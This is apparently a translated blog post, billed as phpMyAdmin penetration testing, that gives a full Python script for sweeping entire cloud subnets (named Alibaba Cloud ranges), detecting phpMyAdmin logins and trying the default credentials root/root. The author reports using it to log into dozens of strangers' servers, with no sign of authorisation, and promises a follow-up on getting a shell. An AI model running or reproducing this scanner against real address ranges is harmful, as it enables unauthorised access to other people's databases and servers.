
This article discusses techniques and tools for conducting **phpMyAdmin penetration testing**, helping identify vulnerabilities and improve database security.
This article serves as a prelude to my next post on using phpMyAdmin to get a shell, as penetration testing is a gradual process. Information gathering is, of course, the most crucial initial step. To obtain a shell via phpMyAdmin, I first need to identify which servers have phpMyAdmin deployed. Therefore, I wrote a Python script to scan an entire subnet.
Before diving in, Iâd like to share some of my thoughts and perspectives.
- Why batch scan cloud server backends? In my opinion, with the rise of cloud computing in recent years, major cloud service providers are competing to claim a share of this lucrative market. This has facilitated user migration to the cloud, bringing numerous benefits. Many beginners have also started using cloud servers to set up their own websites. However, many prefer using one-click scripts to set up environments, such as the widely used LN(A)MP stack (Linux, Nginx or Apache, MySQL, PHP) on Linux or phpStudy on Windows. While this approach simplifies the process and saves time, especially for beginners, it also exposes significant security risks. These setups often share common vulnerabilities, such as leaving phpMyAdmin, phpinfo, and probes in the root directory by default. Thus, scanning the root directory is sufficient.
- Many novice users tend to click âNextâ or press âEnterâ throughout the installation process, resulting in default configurations. For instance, with LNMP, the MySQL version defaults to 5.5.60, PHP to 5.6.36, and phpMyAdminâs default username and password are both âroot.â (Itâs worth noting that the weakest link in security is often **people**.)
- While many tools, such as Yujian and wwwscan, are available for scanning individual website directories, I needed to scan an entire subnet. Hence, I wrote my own script. Many script kiddies are overly reliant on tools, which I personally disdain. Security, in my view, is about analyzing principles and engaging in a battle of wits. Understanding the principles behind tools and even replicating them to create your own yields far greater insights than simply using pre-made tools. However, this does require a certain level of programming knowledge.
Enough talkâletâs dive into the source code:
import requests import IPy import re import datetime import pymysql db = pymysql.Connect('your_server_ip', 'mysql_username', 'password', 'database_name') cursor = db.cursor() ipsegment = input('Enter IP segment: ') filename = ipsegment.split('/')[0] file_1 = filename + '.txt' file_2 = filename + '_root.txt' payload = {'pma_username': 'root', 'pma_password': 'root'} headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64)'} ip = IPy.IP(ipsegment) phpmyadmin = [] phpmyadmin_root = [] for i in ip: url = 'http://' + str(i) + '/phpmyadmin/index.php' print(url) try: scan_ip = requests.head(url, timeout=0.15, allow_redirects=False) if scan_ip.status_code == 200: try: if re.search('phpmyadmin', scan_ip.headers['Set-Cookie']): print('This is a phpMyAdmin backend!') phpmyadmin.append(url) try: r = requests.post(url, headers=headers, data=payload) if 'name="login_form"' not in r.text: print('Logged in successfully with default credentials') password = 'root' version = '' if 'phpStudy' in r.text: version = 'phpStudy' phpmyadmin_root.append(url) else: print('Non-default password!') password = '' version = '' sql = "INSERT INTO ip (ip, url, password, version, update_time) VALUES ('%s', '%s', '%s', '%s', '%s')" % (i, url, password, version, datetime.datetime.now()) cursor.execute(sql) db.commit() print(sql) except Exception: pass except KeyError: print('No Set-Cookie header, not a phpMyAdmin backend') except Exception: pass db.close() with open(file_1, 'w') as f, open(file_2, 'w') as e: f.write("\n".join(phpmyadmin)) e.write("\n".join(phpmyadmin_root))
As you can see, writing a Python script can be quite straightforward. (Life is short, so I use Python!)
The line scan_ip = requests.head(url, timeout=0.15)
sets the timeout based on the latency between you and the subnet. If the timeout is too short, you might miss some scans; if itâs too long, it could slow down the script. I ran the script on my own Alibaba Cloud server, where latency is low. To avoid missing scans, I set the timeout to 0.15 seconds. The script uses the HTTP HEAD method to improve scanning speed.
I didnât bother implementing multithreading. If you want to scan multiple subnets simultaneously, you can simply run multiple processes. However, establishing a large number of TCP connections in a short time can impact latency.
If youâre unfamiliar with the IPy library, you can refer to this guide.
This script is simple, but let me explain briefly. The input is a subnet! Subnet! Subnet! For example, Alibaba Cloud subnets like 47.100.0.0/16, 47.95.0.0/16, or 47.106.10.0/24. Again, the input is a subnet!
Since Alibaba Cloud dominates the domestic cloud market with the largest user base, I used its subnets as examples.
I ran the script on my Windows server.

After scanning, the script automatically generates a file in the directory containing the IPs and accessible phpMyAdmin links within the subnet.

However, I must clarify that, to ensure the script runs quickly, I didnât filter out 301 or 302 redirects. This doesnât significantly affect the results.
Among the scanned phpMyAdmin instances, I found several that still used default credentialsâusername and password both set to âroot.â
I randomly picked one and opened the phpMyAdmin login page.

Logged in successfully. It didnât seem to contain any important data.

After scanning just a few subnets, I already gained backend access to dozens of phpMyAdmin instances. (A chilling realization.)
Scanning an entire subnet is a way to expand the attack surface. In my next post, Iâll detail how to combine breadth and depth and how to exploit phpMyAdmin to get a shell. Stay tuned for more advanced techniques, as methods like âinto outfileâ are outdated. If youâre interested, follow my next article.